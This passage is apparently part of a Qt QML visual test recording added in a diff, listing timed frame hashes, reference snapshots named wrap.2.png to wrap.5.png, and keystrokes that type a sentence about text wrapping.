"e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 88 + modifiers: 0 + text: "78" + autorep: false + count: 1 + } + Frame { + msec: 2224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 88 + modifiers: 0 + text: "78" + autorep: false + count: 1 + } + Frame { + msec: 2320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 2656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 2720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 2768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2800 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Key { + type: 7 + key: 73 + modifiers: 0 + text: "69" + autorep: false + count: 1 + } + Frame { + msec: 2848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2880 + image: "wrap.2.png" + } + Frame { + msec: 2896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 2944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2960 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 3104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 3184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 3264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 3312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 3360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 3440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 80 + modifiers: 0 + text: "70" + autorep: false + count: 1 + } + Frame { + msec: 3488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 80 + modifiers: 0 + text: "70" + autorep: false + count: 1 + } + Frame { + msec: 3552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 3680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 3696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3760 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 3776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3840 + image: "wrap.3.png" + } + Frame { + msec: 3856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 3920 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 4032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 4080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 4288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 82 + modifiers: 0 + text: "72" + autorep: false + count: 1 + } + Frame { + msec: 4304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 4352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 4480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4544 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 4560 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4576 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4592 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4608 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 84 + modifiers: 0 + text: "74" + autorep: false + count: 1 + } + Frame { + msec: 4624 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4640 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4656 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4672 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 4688 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4704 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4720 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4736 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 4752 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4768 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4784 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 4800 + image: "wrap.4.png" + } + Frame { + msec: 4816 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 4832 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4848 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4864 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4880 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 6 + key: 46 + modifiers: 0 + text: "2e" + autorep: false + count: 1 + } + Frame { + msec: 4896 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4912 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4928 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4944 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Key { + type: 7 + key: 46 + modifiers: 0 + text: "2e" + autorep: false + count: 1 + } + Frame { + msec: 4960 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 4992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5072 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5088 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5104 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5120 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5136 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5152 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5168 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5184 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5200 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5216 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5232 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5248 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5264 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5280 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5296 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5312 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5328 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5344 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5360 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5376 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5392 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5408 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5424 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5440 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5456 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5472 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5488 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5504 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5520 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5536 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5552 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5568 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5584 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5600 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5616 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5632 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5648 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5664 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5680 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5696 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5712 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5728 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5744 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5760 + image: "wrap.5.png" + } + Frame { + msec: 5776 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5792 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5808 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5824 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5840 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5856 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5872 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5888 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5904 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5920 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5936 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5952 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5968 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 5984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6064 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6080 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6096 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6112 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6128 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6144 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6160 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6176 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6192 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6208 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6224 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6240 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6256 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6272 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6288 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6304 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6320 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6336 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6352 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6368 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6384 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6400 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6416 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6432 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6448 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6464 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6480 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6496 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6512 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6528 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + 